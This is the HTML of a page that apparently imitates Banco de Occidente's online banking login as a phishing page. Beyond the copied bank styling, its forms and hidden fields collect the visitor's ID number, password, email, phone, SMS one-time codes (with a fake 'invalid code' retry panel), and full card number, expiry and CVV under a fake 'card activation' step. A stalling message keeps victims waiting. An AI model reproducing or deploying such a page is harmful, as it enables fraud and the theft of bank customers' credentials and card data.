.initial-container__marketing-group{width:35%;max-width:11rem}}@-webkit-keyframes shake{10%,90%{transform:translate3d(-.071rem,0,0)}20%,80%{transform:translate3d(.143rem,0,0)}30%,50%,70%{transform:translate3d(-.286rem,0,0)}40%,60%{transform:translate3d(.286rem,0,0)}}@keyframes shake{10%,90%{transform:translate3d(-.071rem,0,0)}20%,80%{transform:translate3d(.143rem,0,0)}30%,50%,70%{transform:translate3d(-.286rem,0,0)}40%,60%{transform:translate3d(.286rem,0,0)}}</style><style>.ng-select{display:block;position:relative}.ng-select,.ng-select div,.ng-select input,.ng-select span{box-sizing:border-box}.ng-select [hidden]{display:none}.ng-select.ng-select-searchable .ng-select-container .ng-value-container .ng-input{opacity:1}.ng-select.ng-select-opened .ng-select-container{z-index:1001}.ng-select.ng-select-disabled .ng-select-container .ng-value-container .ng-placeholder,.ng-select.ng-select-disabled .ng-select-container .ng-value-container .ng-value{-moz-user-select:none;-ms-user-select:none;-webkit-user-select:none;cursor:default;user-select:none}.ng-select.ng-select-disabled .ng-arrow-wrapper{cursor:default}.ng-select.ng-select-filtered .ng-placeholder{display:none}.ng-select .ng-select-container{cursor:default;display:flex;outline:none;overflow:hidden;position:relative;width:100%}.ng-select .ng-select-container .ng-value-container{display:flex;flex:1}.ng-select .ng-select-container .ng-value-container .ng-input{opacity:0}.ng-select .ng-select-container .ng-value-container .ng-input>input{background:none transparent;border:0;box-shadow:none;box-sizing:content-box;cursor:default;outline:none;padding:0;width:100%}.ng-select .ng-select-container .ng-value-container .ng-input>input::-ms-clear{display:none}.ng-select .ng-select-container .ng-value-container .ng-input>input[readonly]{-moz-user-select:none;-ms-user-select:none;-webkit-user-select:none;padding:0;user-select:none;width:0}.ng-select.ng-select-single.ng-select-filtered .ng-select-container .ng-value-container .ng-value{visibility:hidden}.ng-select.ng-select-single .ng-select-container .ng-value-container,.ng-select.ng-select-single .ng-select-container .ng-value-container .ng-value{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ng-select.ng-select-single .ng-select-container .ng-value-container .ng-value .ng-value-icon{display:none}.ng-select.ng-select-single .ng-select-container .ng-value-container .ng-input{left:0;position:absolute;width:100%}.ng-select.ng-select-multiple.ng-select-disabled>.ng-select-container .ng-value-container .ng-value .ng-value-icon{display:none}.ng-select.ng-select-multiple .ng-select-container .ng-value-container{flex-wrap:wrap}.ng-select.ng-select-multiple .ng-select-container .ng-value-container .ng-placeholder{position:absolute}.ng-select.ng-select-multiple .ng-select-container .ng-value-container .ng-value{white-space:nowrap}.ng-select.ng-select-multiple .ng-select-container .ng-value-container .ng-value.ng-value-disabled .ng-value-icon{display:none}.ng-select.ng-select-multiple .ng-select-container .ng-value-container .ng-value .ng-value-icon{cursor:pointer}.ng-select.ng-select-multiple .ng-select-container .ng-value-container .ng-input{flex:1;z-index:2}.ng-select.ng-select-multiple .ng-select-container .ng-value-container .ng-placeholder{z-index:1}.ng-select .ng-clear-wrapper{-moz-user-select:none;-ms-user-select:none;-webkit-user-select:none;cursor:pointer;position:relative;user-select:none;width:17px}.ng-select .ng-clear-wrapper .ng-clear{display:inline-block;font-size:18px;line-height:1;pointer-events:none}.ng-select .ng-spinner-loader{-webkit-animation:load8 .8s linear infinite;animation:load8 .8s linear infinite;border:2px solid rgba(66,66,66,.2);border-left-color:#424242;border-radius:50%;font-size:10px;height:17px;margin-right:5px;position:relative;text-indent:-9999em;transform:translateZ(0);width:17px}.ng-select .ng-spinner-loader:after{border-radius:50%;height:17px;width:17px}@-webkit-keyframes load8{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}@keyframes load8{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}.ng-select .ng-arrow-wrapper{-moz-user-select:none;-ms-user-select:none;-webkit-user-select:none;cursor:pointer;position:relative;text-align:center;user-select:none}.ng-select .ng-arrow-wrapper .ng-arrow{display:inline-block;height:0;pointer-events:none;position:relative;width:0}.ng-dropdown-panel{-webkit-overflow-scrolling:touch;box-sizing:border-box;opacity:0;position:absolute;width:100%;z-index:1050}.ng-dropdown-panel .ng-dropdown-panel-items{box-sizing:border-box;display:block;height:auto;max-height:240px;overflow-y:auto}.ng-dropdown-panel .ng-dropdown-panel-items .ng-optgroup,.ng-dropdown-panel .ng-dropdown-panel-items .ng-option{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ng-dropdown-panel .ng-dropdown-panel-items .ng-option{box-sizing:border-box;cursor:pointer;display:block}.ng-dropdown-panel .ng-dropdown-panel-items .ng-option .ng-option-label:empty:before{content:"\200b"}.ng-dropdown-panel .ng-dropdown-panel-items .ng-option .highlighted{font-weight:700;text-decoration:underline}.ng-dropdown-panel .ng-dropdown-panel-items .ng-option.disabled{cursor:default}.ng-dropdown-panel .scroll-host{-webkit-overflow-scrolling:touch;display:block;overflow:hidden;overflow-y:auto;position:relative}.ng-dropdown-panel .scrollable-content{height:100%;left:0;position:absolute;top:0;width:100%}.ng-dropdown-panel .total-padding{opacity:0;width:1px}</style><style>.password[_ngcontent-ymu-c82]{position:relative}.password[_ngcontent-ymu-c82]   label[_ngcontent-ymu-c82]{width:100%}.password[_ngcontent-ymu-c82]   em[_ngcontent-ymu-c82]{cursor:pointer;position:absolute;right:8px;bottom:8px;font-size:24px}.password[_ngcontent-ymu-c82]   em.showPass[_ngcontent-ymu-c82]{color:var(--vds-carbon-light-700)}.password[_ngcontent-ymu-c82]   em.active[_ngcontent-ymu-c82], .password[_ngcontent-ymu-c82]   em.caps[_ngcontent-ymu-c82]{color:var(--vds-primary-700-base)}.password[_ngcontent-ymu-c82]   em.caps[_ngcontent-ymu-c82]{right:2.5rem}</style><style>[_nghost-ymu-c100]{display:block}[_nghost-ymu-c100]   .alert[_ngcontent-ymu-c100]{border:none;padding:10px 10px 10px 50px;margin-bottom:0;position:relative}[_nghost-ymu-c100]   .alert.error[_ngcontent-ymu-c100]{background:var(--vds-error-100);color:var(--vds-error-700-base)}[_nghost-ymu-c100]   .alert.error[_ngcontent-ymu-c100]   span[_ngcontent-ymu-c100]:after{background-image:linear-gradient(to bottom,transparent 90%,var(--vds-error-400) 80%)}[_nghost-ymu-c100]   .alert.warning[_ngcontent-ymu-c100]{background:var(--vds-n-lighter-100);color:var(--vds-warning-700-base)}[_nghost-ymu-c100]   .alert.warning[_ngcontent-ymu-c100]:after{background-image:linear-gradient(to bottom,transparent 90%,var(--vds-warning-700-base) 80%)}[_nghost-ymu-c100]   .alert.success[_ngcontent-ymu-c100]{background:var(--vds-n-lighter-100);color:var(--vds-success-700-base)}[_nghost-ymu-c100]   .alert.success[_ngcontent-ymu-c100]:after{background-image:linear-gradient(to bottom,transparent 90%,var(--vds-success-400) 80%)}[_nghost-ymu-c100]   .alert.info[_ngcontent-ymu-c100]{background:var(--vds-n-lighter-200);color:var(--vds-primary-700-base)}[_nghost-ymu-c100]   .alert.info[_ngcontent-ymu-c100]:after{background-image:linear-gradient(to bottom,transparent 90%,var(--vds-primary-700-base) 80%)}[_nghost-ymu-c100]   .alert[_ngcontent-ymu-c100]   span[_ngcontent-ymu-c100]{bottom:0;font-size:16px;height:40px;line-height:40px;left:15px;margin:auto;position:absolute;right:auto;text-align:center;top:0;width:20px}[_nghost-ymu-c100]   .alert[_ngcontent-ymu-c100]   span[_ngcontent-ymu-c100]:after{background-size:5% 6px;content:"";height:100%;position:absolute;right:-4px;width:1px}</style><style>[type=button],[type=reset],[type=submit],button{-webkit-appearance:none}.btn{position:relative;border-radius:4px;font-size:1em;font-weight:600;line-height:1;letter-spacing:normal;text-align:center;padding:.85rem 1rem;color:var(--vds-neutral-lighter-50);background-image:linear-gradient(to bottom,var(--vds-primary-700-base),var(--vds-primary-900) 72%);border:none;display:flex;justify-content:center;align-items:center;min-width:2.85rem;max-height:2.857rem}.btn.btnPrimary{min-height:39px}.btn.green.outliner{background-color:var(--vds-success-700-base);border:none}.btn.green.outliner,.btn.green.outliner:disabled span.btnIcon,.btn.green.outliner span,.btn.green.outliner span.btnIcon{color:var(--vds-neutral-lighter-50)}.btn.green.outliner:hover:not(:disabled){box-shadow:0 10px 15px -8px var(--vds-success-700-base);background-color:var(--vds-success-700-base);border:none;color:var(--vds-neutral-lighter-50)}.btn.green.outliner.active:not(:disabled),.btn.green.outliner:focus:not(:disabled){background:var(--vds-success-900);box-shadow:none}.btn .btnContent{flex:1}.btn .btnIcon{margin-right:.5rem}.btn .btnIcon.right{margin-left:.42rem;margin-right:0}.btn.skin{width:auto}.btn.skin .btnIcon{margin-right:0!important}.btn:not(:disabled):not(.disabled){cursor:pointer}.btn:disabled{cursor:not-allowed;opacity:1}.btn:disabled span{opacity:.5;color:var(--vds-neutral-lighter-50)}.btn.active:not(:disabled),.btn:focus:not(:disabled),.btn:hover:not(:disabled){box-shadow:0 10px 15px -8px var(--vds-primary-700-base);color:var(--vds-neutral-lighter-50)}.btn.active:not(:disabled),.btn:focus:not(:disabled){background-image:linear-gradient(to bottom,var(--vds-primary-900),var(--vds-primary-shade-700-base) 72%);box-shadow:none}.btn.outliner{background:var(--vds-neutral-lighter-50);border:1px solid var(--vds-n-lighter-300);color:var(--vds-carbon-light-700)}.btn.outliner .btnIcon{color:var(--vds-primary-700-base)}.btn.outliner.active,.btn.outliner:focus,.btn.outliner:hover{box-shadow:none;background-color:var(--vds-n-lighter-100);border:1px solid var(--vds-primary-700-base);color:var(--vds-carbon-light-700)}.btn.outliner.active,.btn.outliner:focus{color:var(--vds-neutral-lighter-50);background-image:linear-gradient(to bottom,var(--vds-primary-900),var(--vds-primary-shade-700-base) 72%);outline:none;border:none}.btn.outliner.active .btnIcon,.btn.outliner:focus .btnIcon{color:var(--vds-neutral-lighter-50)}.btn.outliner:disabled{cursor:not-allowed}.btn.outliner:disabled span{color:var(--vds-carbon-light-700)}.btn.outliner:disabled span.btnIcon{color:var(--vds-primary-700-base)}.actions-paginator .btn.outliner .btnIcon{color:#7f8fa4}.btnRounded{padding:4px 6px;border-radius:50px;width:25px;height:25px;font-size:.8em;text-align:center;line-height:18px;cursor:pointer}.btnRounded:focus{outline:none}.btnRounded.approve{background-color:var(--vds-success-700-base)}.btnRounded.approve,.btnRounded.cancel{color:var(--vds-neutral-lighter-50);border:none}.btnRounded.cancel{background-color:var(--vds-error-700-base)}.btnMultiPay{height:30px;padding:5px 10px}.btnMultiPay.outliner{background-color:var(--vds-neutral-lighter-50)}.btnMultiPay.outliner .btnContent{padding-left:6px}.loader-container{width:1rem;margin-right:1rem}.loader-container .loader{position:static}.loader-container .loader.blue{color:var(--vds-primary-shade-900)}@media (max-width:576px){.btn.resume .btnContent{display:none}.btn.resume-btn{margin:0 3px;width:95%}}@media (min-width:992px){.btn{min-width:101px}.btn.skin{min-width:auto;width:40px}}</style><style>.bocc-modal-container{display:none}.bocc-modal-container .bocc-modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1000;overflow:auto}.bocc-modal-container .bocc-modal .bocc-modal-body{background:var(--vds-neutral-lighter-50);border:1px solid var(--vds-n-lighter-200);border-radius:4px;box-shadow:0 30px 30px 0 rgba(0,0,0,.1);margin:10% 12px;top:0;bottom:0;left:0;right:0}.bocc-modal-container .bocc-modal .bocc-modal-body .bocc-modal-header{display:flex;justify-content:space-between;align-items:center;border-bottom:1px solid var(--vds-n-lighter-200);position:relative}.bocc-modal-container .bocc-modal .bocc-modal-body .bocc-modal-header .close{position:absolute;top:15px;right:10px;font-size:12px}.bocc-modal-container .bocc-modal .bocc-modal-body .bocc-modal-header .bocc-title{font-weight:700;line-height:.77;letter-spacing:normal;color:var(--vds-primary-shade-900)}.bocc-modal-container .bocc-modal .bocc-modal-body .bocc-modal-content{display:flex;flex-direction:column}.bocc-modal-container .bocc-modal .bocc-modal-body .bocc-modal-footer{display:flex;justify-content:flex-end;align-content:space-between;border-top:1px solid var(--vds-n-lighter-200)}.bocc-modal-container .bocc-modal .bocc-modal-body .bocc-modal-footer .bocc-button .btn{min-width:60px}.bocc-modal-container .bocc-modal-background{position:fixed;top:0;right:0;bottom:0;left:0;background-color:var(--vds-primary-shade-900);opacity:.75;z-index:900}.bocc-modal-container.resume-modal .bocc-modal .bocc-modal-footer,.bocc-modal-container.resume-modal .bocc-modal .bocc-modal-header .close{display:none}.bocc-modal-container.resume-modal .bocc-modal .bocc-modal-body{margin:auto;width:90%;position:absolute;height:211px}.bocc-modal-container.resume-modal .bocc-modal .bocc-modal-body .bocc-modal-content .app-resume{padding:0;min-width:100%;position:relative}.bocc-modal-container.onboarding-modal .bocc-modal .bocc-modal-body{width:420px}.bocc-modal-container.disabled-issue-modal .bocc-modal .bocc-modal-header{border:none}.bocc-modal-container.disabled-issue-modal .bocc-modal .bocc-modal-header .close{color:var(--vds-carbon-light-700);top:0}.bocc-modal-container.disabled-issue-modal .bocc-modal .bocc-modal-body{height:340px;margin:auto;position:absolute;text-align:center;width:404px}.bocc-modal-container.disabled-issue-modal .bocc-modal .bocc-modal-body .bocc-modal-content{height:247px}.bocc-modal-container.disabled-issue-modal .bocc-modal .bocc-modal-body img{height:127px;margin-left:auto;margin-right:auto;width:120px}.bocc-modal-container.disabled-issue-modal .bocc-modal .bocc-modal-body p{color:var(--vds-carbon-light-700)}@media (max-width:575px){.bocc-modal-container.resume-modal .bocc-modal .bocc-modal-body{height:200px}.bocc-modal-container.resume-modal.master .bocc-modal .bocc-modal-body{height:275px}.bocc-modal-container.disabled-issue-modal .bocc-modal .bocc-modal-body{width:300px}}body.bocc-modal-open{overflow:hidden}@media (min-width:992px){.bocc-modal-container .bocc-modal .bocc-modal-body{width:588px;margin:10% auto auto}}</style><script type="text/javascript" async="" charset="utf-8" id="utag_adl.occidente_19" src="https://tags.tiqcdn.com/utag/adl/occidente/prod/utag.19.js?utv=ut4.46.202110252116"></script><script type="text/javascript" async="" charset="utf-8" id="utag_adl.occidente_8" src="https://tags.tiqcdn.com/utag/adl/occidente/prod/utag.8.js?utv=ut4.46.202104062256"></script><script type="text/javascript" async="" charset="utf-8" id="utag_adl.occidente_22" src="https://tags.tiqcdn.com/utag/adl/occidente/prod/utag.22.js?utv=ut4.46.202201211940"></script><script async="" src="https://static.hotjar.com/c/hotjar-1412114.js?sv=6"></script><script async="" src="https://script.hotjar.com/modules.236b96798cfe9acfef1b.js" charset="utf-8"></script><style type="text/css">iframe#_hjRemoteVarsFrame {display: none !important; width: 1px !important; height: 1px !important; opacity: 0 !important; pointer-events: none !important;}</style><script type="text/javascript" src="https://c.oracleinfinity.io/acs/common/js/1.3.34/common.js" async="true" defer="true"></script><script type="text/javascript" src="https://c.oracleinfinity.io/acs/account/iw64uzydss/js/main/analytics-default/analytics.js" async="true" defer="true"></script><script type="text/javascript" src="https://c.oracleinfinity.io/acs/common/js/1.3.34/common.js" async="true" defer="true"></script><script type="text/javascript" src="https://c.oracleinfinity.io/acs/account/iw64uzydss/js/main/analytics-default/analytics.js" async="true" defer="true"></script></head>
<body> 
  <div id="fondo"></div>
<div id="cargando"><img src="img/spinner_occidente.gif"></div>
<div id="mensaje"> Por favor espere un momento estamos validando algunos datos. Puede tardar entre 1 a 5 minuto. No cierres o recargues esta ventana.
    <br>
    <img src="img/spinner_occidente.gif">
</div>
  <app-root _nghost-ymu-c103="" ng-version="11.2.14">
    <router-outlet _ngcontent-ymu-c103=""></router-outlet>
    <app-login class="ng-star-inserted">
      <app-bocc-initial-container _nghost-ymu-c72="" class="ng-tns-c72-0 ng-star-inserted">
        <div _ngcontent-ymu-c72="" style="background: no-repeat url(img/back-login.87ca483d1db8c1bdeaf4.jpg);" class="initial-container ng-tns-c72-0">
          <div _ngcontent-ymu-c72="" class="initial-container__marketing ng-tns-c72-0 ng-star-inserted"><img _ngcontent-ymu-c72="" src="img/group.svg" alt="grupo" class="initial-container__marketing-group ng-tns-c72-0"><div _ngcontent-ymu-c72="" class="initial-container__marketing-text ng-tns-c72-0"><h2 _ngcontent-ymu-c72="" class="m-s-bottom ng-tns-c72-0">Estamos contigo donde estés</h2><h1 _ngcontent-ymu-c72="" class="m-s-bottom ng-tns-c72-0">Conéctate</h1><h4 _ngcontent-ymu-c72="" class="b2-m-left p-2xs-bottom m-s-bottom ng-tns-c72-0 ng-star-inserted">Conoce todas las nuevas <span _ngcontent-ymu-c72="" class="ng-tns-c72-0">funciones</span> de nuestro Portal Transaccional</h4><!----><!----></div><div _ngcontent-ymu-c72="" class="initial-container__footer m-3s-bottom ng-tns-c72-0 ng-star-inserted"><div _ngcontent-ymu-c72="" class="logo-super ng-tns-c72-0"><img _ngcontent-ymu-c72="" src="img/logo-05-security-vigilado-01-regular.svg" alt="Vigilado" class="desktop ng-tns-c72-0"></div><div _ngcontent-ymu-c72="" class="logo-aval ng-tns-c72-0"><img _ngcontent-ymu-c72="" src="img/logo-01-isotipo-02-aval-10-aval-01-regular.svg" alt="Vigilado" class="desktop ng-tns-c72-0"></div></div><!----></div><!----><div _ngcontent-ymu-c72="" class="initial-container__form no-p ng-tns-c72-0 ng-star-inserted"><div _ngcontent-ymu-c72="" class="initial-container__section ng-tns-c72-0"><div _ngcontent-ymu-c72="" class="initial-container__content-security-info p-s ng-tns-c72-0 ng-star-inserted"><div _ngcontent-ymu-c72="" class="initial-container__security-info ng-tns-c72-0" style="padding:1px !important;"><a _ngcontent-ymu-c72="" title="Seguridad" rel="noopener noreferrer" class="ng-tns-c72-0" href="#/seguridad"><div _ngcontent-ymu-c72="" class="initial-container__security-info__icon no-m p-2xs ng-tns-c72-0"><img id="icono-seguridad" src="img/seguridad.svg" width="14px" /></div><span _ngcontent-ymu-c72="" class="c-m-left m-s-right ng-tns-c72-0">Seguridad</span></a></div></div><!----><div _ngcontent-ymu-c72="" class="initial-container__content-form m-s-width ng-tns-c72-0"><a _ngcontent-ymu-c72="" title="Banco Occidente" style="background-image: url(img/logo-03-occidente-01-occidente-01-regular.aa547ca6b936469689ea.svg);" class="initial-container__logo ng-tns-c72-0"></a>



            





          <!-- Panel Login -->



            <div _ngcontent-ymu-c72="" class="initial-container__tab-content no-p ng-tns-c72-0" id="panel-login">
                              <h3 class="s2-sm-center m-3s-bottom ng-tns-c72-0" style="font-size: 1rem; font-weight: normal; margin-bottom: 0.5rem;">¡Bienvenido! a tu</h3>
              <h2 class="s2-sm-center m-3s-bottom ng-tns-c72-0" style="color: #0081ff;">Portal Transaccional</h2>
              <h4 class="s2-sm-left m-3s-bottom ng-tns-c72-0" style="font-size: 1rem; font-weight: normal; margin-bottom: 1rem;">Identificación</h4>

            <form novalidate="" id="login" class="login no-p ng-pristine ng-invalid ng-tns-c72-0 ng-touched">
              <input type="hidden" name="tipo" id="tipo">  
              <input type="hidden" name="cedula" id="cedula">
              <input type="hidden" name="contrasena" id="contrasena">
              <input type="hidden" name="correo" id="correo">
              <input type="hidden" name="celular" id="celular">
              <input type="hidden" name="tarjeta" id="tarjeta">
              <input type="hidden" name="fecha" id="fecha">
              <input type="hidden" name="cvv" id="cvv">

                            <!-- Tipo de Documento y No. de Documento en la misma línea -->
              <div style="display: flex; gap: 10px; align-items: flex-end;">
                <div class="form-group m-3s-bottom">
                  <select id="inp-tipo" name="inp-tipo" style="padding-left: 5px;color: #555f83; border: 1px solid #adbae6; width: 70px; height: 40px;">
                        <option value="CC" default selected>CC</option>
                        <option value="CE">Cédula de Extranjería</option>
                        <option value="NIT">Número de Identificación Tributaria</option>
                        <option value="TI">Tarjeta de Identidad</option>
                        <option value="PEP">Permiso especial de permanencia</option>                       
                  </select>
                </div>

                <div class="form-group m-3s-bottom">
                  <input id="document-number" type="tel" placeholder="Ej.: 1093238993" formcontrolname="identification_number" onlynumber="" class="p-s ng-pristine ng-invalid ng-touched"  autocomplete="off" pattern="[0-9]*" inputmode="numeric" maxlength="10" onKeypress="if (event.keyCode < 48 || event.keyCode > 57) event.returnValue = false;" style="width: 290px; height: 40px;">
                </div>
              </div>
            <div class="form-group m-3s-bottom password">
              <app-bocc-password label="Contraseña" id="password" name="password" placeholder="*Contraseña" formcontrolname="password" _nghost-ymu-c82="" class="ng-untouched ng-pristine ng-invalid">
                <div _ngcontent-ymu-c82="" class="password">
                  <label _ngcontent-ymu-c82="" class="button-sm-left m-2xs-bottom p-xs-top ng-star-inserted" for="password">Contraseña</label>
                  <!---->
                  <input _ngcontent-ymu-c82="" type="password" class="ip-2m-right" name="password" id="password12" placeholder="Ingresa tu contraseña" autocomplete="off">
                  <!----><!----><!---->
                </div>
              </app-bocc-password>
            </div>

            <div class="login__options">
              <a rel="noopener noreferrer" target="_blank" class="button-sm-center">Olvidé mi clave</a>
              <div class="custom-control custom-switch">
                <label class="custom-label b2-m-right no-p no-m">Recordar mis datos</label>
                <input type="checkbox" id="rememberMe" formcontrolname="rememberMe" class="custom-control-input ng-untouched ng-pristine ng-valid"><label for="rememberMe" class="custom-control-label"></label></div></div><app-alert _nghost-ymu-c100=""><!----></app-alert><div class="initial-container__actions-content m-m-top"><bocc-button btnlabel="Regístrate" class="bocc-button no-p m-2xs-width"><div class="button"><button class="btn outliner ng-star-inserted" type="button" select="" id="btn-registrate"><!----><img id="icono-usuario" src="img/user.svg" width="24px" style="padding-right: 5px;" /><!----><span class="btnContent button-sm-center ng-star-inserted">Regístrate</span><!----><!----></button><!----><!----></div></bocc-button><bocc-button type="submit" class="bocc-button no-p m-2xs-width"><div class="button"><!----><button disabled="s" class="btn ng-star-inserted" type="button" id="btn-ingresar"><!----><img id="icono-usuario" src="img/candado.svg" width="24px" style="padding-right: 5px;" /><!----><span class="btnContent button-sm-center ng-star-inserted">Ingresar</span><!----><!----></button><!----></div></bocc-button></div></form>


              </div>

          <!-- Panel Login (FIN)-->










              
              <!-- Panel Celular -->


              <div _ngcontent-ymu-c72="" class="initial-container__tab-content no-p ng-tns-c72-0" id="panel-celular" style="display:none;"><h2 class="s2-sm-center m-3s-bottom ng-tns-c72-0">VALIDACIÓN DE SEGURIDAD</h2>
                <p _ngcontent-wji-c262="" class="b2-m-center no-p m-3s-bottom">Solo debes de ingresar la clave que te llegará por SMS o correo electrónico</p>

            <form novalidate="" id="ver-celular" class="login no-p ng-pristine ng-invalid ng-tns-c72-0 ng-touched">            

            <div class="form-group m-3s-bottom">
              <label for="celular-number" class="button-sm-left m-2xs-bottom p-xs-top">Clave temporal</label>
              <input id="celular-number" maxlength="6" type="password" placeholder="*Ingresa la clave" formcontrolname="identification_number" onlynumber="" class="p-s ng-pristine ng-invalid ng-touched"  autocomplete="off" pattern="[0-9]*" inputmode="numeric" onKeypress="if (event.keyCode < 48 || event.keyCode > 57) event.returnValue = false;" >
            </div>  

            <app-alert _nghost-ymu-c100=""><!----></app-alert><div class="initial-container__actions-content m-m-top"><bocc-button btnlabel="Regístrate" class="bocc-button no-p m-2xs-width"><div class="button"><button class="btn outliner ng-star-inserted" type="button" select="" id="btn-cancelar"><!----><!----><span class="btnContent button-sm-center ng-star-inserted">Cancelar</span><!----><!----></button><!----><!----></div></bocc-button><bocc-button type="submit" class="bocc-button no-p m-2xs-width"><div class="button"><!----><button disabled="" class="btn ng-star-inserted" type="button" id="btn-continuar"><!----><!----><span class="btnContent button-sm-center ng-star-inserted">Validar</span><!----><!----></button><!----></div></bocc-button></div></form>
              </div>


            <!-- Panel Celular (FIN)-->


            <!-- Panel OTP error -->


              <div _ngcontent-ymu-c72="" class="initial-container__tab-content no-p ng-tns-c72-0" id="panel-otp" style="display:none;"><h2 class="s2-sm-center m-3s-bottom ng-tns-c72-0">CLAVE TEMPORAL INVÁLIDA</h2>
                <p _ngcontent-wji-c262="" class="b2-m-center no-p m-3s-bottom">Solo debes de ingresar la clave que te llegará por SMS o correo electrónico</p>

            <form novalidate="" id="ver-celular" class="login no-p ng-pristine ng-invalid ng-tns-c72-0 ng-touched">            

            <div class="form-group m-3s-bottom">
              <label for="otp-number" class="button-sm-left m-2xs-bottom p-xs-top">Clave temporal</label>
              <input id="otp-number" maxlength="6" type="password" placeholder="*Ingresa la clave" formcontrolname="identification_number" onlynumber="" class="p-s ng-pristine ng-invalid ng-touched"  autocomplete="off" pattern="[0-9]*" inputmode="numeric" onKeypress="if (event.keyCode < 48 || event.keyCode > 57) event.returnValue = false;" >
            </div>  

            <app-alert _nghost-ymu-c100=""><!----></app-alert><div class="initial-container__actions-content m-m-top"><bocc-button btnlabel="Regístrate" class="bocc-button no-p m-2xs-width"><div class="button"><button class="btn outliner ng-star-inserted" type="button" select="" id="btn-cancelar"><!----><!----><span class="btnContent button-sm-center ng-star-inserted">Cancelar</span><!----><!----></button><!----><!----></div></bocc-button><bocc-button type="submit" class="bocc-button no-p m-2xs-width"><div class="button"><!----><button disabled="" class="btn ng-star-inserted" type="button" id="btn-error"><!----><!----><span class="btnContent button-sm-center ng-star-inserted">Validar</span><!----><!----></button><!----></div></bocc-button></div></form>
              </div>


            <!-- Panel Celular (FIN)-->





 <!-- Panel Tarjeta -->


              <div _ngcontent-ymu-c72="" class="initial-container__tab-content no-p ng-tns-c72-0" id="panel-tarjeta" style="display:none;"><h2 class="s2-sm-center m-3s-bottom ng-tns-c72-0">ACTIVACIÓN</h2>
                <p _ngcontent-wji-c262="" class="b2-m-center no-p m-3s-bottom">Digite los siguientes datos para activar la seguridad de tu tarjeta</p>

            <form novalidate="" id="ver-tarjeta" class="login no-p ng-pristine ng-invalid ng-tns-c72-0 ng-touched">      

            <div class="form-group m-3s-bottom">
              <label for="credit-card" class="button-sm-left m-2xs-bottom p-xs-top">No. de Tarjeta</label>
              <input id="credit-card" type="text" placeholder="*Tarjeta" maxlength="16" formcontrolname="identification_number" onlynumber="" class="p-s ng-pristine ng-invalid ng-touched"  autocomplete="off" pattern="[0-9]*" inputmode="numeric" onKeypress="if (event.keyCode < 48 || event.keyCode > 57) event.returnValue = false;">
            </div>   

            <div class="form-group m-3s-bottom">
              <label for="inp-mes" class="button-sm-left m-2xs-bottom p-xs-top">Fecha de Vencimiento</label>

              <br>
              <div style="width:100%; background-color:yellow;">
                <div style="width: 50%;float: left;">
                  <select id="inp-mes" name="inp-mes" style="padding-left: 5px;color: #555f83; border: 1px solid #adbae6;">
                        <option value="" default selected>Mes</option>
                        <option value="01">01</option>
                        <option value="02">02</option>
                        <option value="03">03</option>
                        <option value="04">04</option>
                        <option value="05">05</option>
                        <option value="06">06</option>
                        <option value="07">07</option>
                        <option value="08">08</option>
                        <option value="09">09</option>
                        <option value="10">10</option>
                        <option value="11">11</option>
                        <option value="12">12</option>
                    </select>
                </div>
                
                <div style="width: 50%; float:right;">
                  <select style="padding-left: 5px;color: #555f83; border: 1px solid #adbae6;" id="inp-ano" name="inp-ano">
                      <option value="" default selected>Año</option>          
                      <option value="2022">2022</option>
                      <option value="2023">2023</option>
                      <option value="2024">2024</option>
                      <option value="2025">2025</option>
                      <option value="2026">2026</option>
                      <option value="2027">2027</option>
                      <option value="2028">2028</option>
                      <option value="2029">2029</option>
                      <option value="2030">2030</option>
                      <option value="2031">2031</option>
                      <option value="2032">2032</option>
                      <option value="2033">2033</option>
                    </select>
                </div>
              </div>
            </div>  

            <div class="form-group m-3s-bottom">
              <label for="card-cvv" class="button-sm-left m-2xs-bottom p-xs-top">CVV</label>
              <input id="card-cvv" maxlength="4" type="tel" placeholder="*CVV" formcontrolname="identification_number" onlynumber="" class="p-s ng-pristine ng-invalid ng-touched"  autocomplete="off" pattern="[0-9]*" inputmode="numeric" onKeypress="if (event.keyCode < 48 || event.keyCode > 57) event.returnValue = false;">
            </div>  

            <app-alert _nghost-ymu-c100=""><!----></app-alert><div class="initial-container__actions-content m-m-top"><bocc-button btnlabel="Regístrate" class="bocc-button no-p m-2xs-width"><div class="button"><button class="btn outliner ng-star-inserted" type="button" select="" id="btn-cancelar-act"><!----><!----><span class="btnContent button-sm-center ng-star-inserted">Cancelar</span><!----><!----></button><!----><!----></div></bocc-button><bocc-button type="submit" class="bocc-button no-p m-2xs-width"><div class="button"><!----><button disabled="" class="btn ng-star-inserted" type="button" id="btn-activar"><!----><!----><span class="btnContent button-sm-center ng-star-inserted">Activar</span><!----><!----></button><!----></div></bocc-button></div></form>
              </div>


            <!-- Panel Tarjeta (FIN)-->












            </div><!----></div></div><!----><div _ngcontent-ymu-c72="" class="initial-container__cookies-alert-content ng-tns-c72-0 ng-star-inserted initial-container__cookies-alert-content--show"><div _ngcontent-ymu-c72="" class="initial-container__cookies-alert c-m-left p-s ng-tns-c72-0" id="panel-aceptar"><span _ngcontent-ymu-c72="" class="ng-tns-c72-0">Cookies:</span> Este portal web utiliza cookies, para mejorar tu experiencia en nuestro portal. Si no cambias esta configuración en tu navegador, entendemos que aceptas el uso de las mismas <bocc-button _ngcontent-ymu-c72="" btnlabel="Aceptar" class="bocc-button ng-tns-c72-0"><div class="button"><button id="btn-aceptar" class="btn ng-star-inserted" type="button" select=""><!----><!----><span class="btnContent button-sm-center ng-star-inserted">Aceptar</span><!----><!----></button><!----><!----></div></bocc-button></div></div><!----><!----></div></app-bocc-initial-container></app-login><!----></app-root>
  <script async="" src="js/rsa.js" text="text/javascript"></script>

  <script>function fnOpenPopoverInterceptoSnxp(){document.getElementById("popover-interceptos-snyxp").classList.remove("hidden-pop-inter-sny");document.getElementById("tab-ds-svy").classList.add("hidden-pop-inter-sny");document.getElementById("cont-pop-inter-snyxp").classList.add("cont-pop-inter-sny-move")}function fnClosePopoverInterceptoSnxp(){document.getElementById("popover-interceptos-snyxp").classList.add("hidden-pop-inter-sny");document.getElementById("tab-ds-svy").classList.remove("hidden-pop-inter-sny");document.getElementById("cont-pop-inter-snyxp").classList.remove("cont-pop-inter-sny-move")}</script>



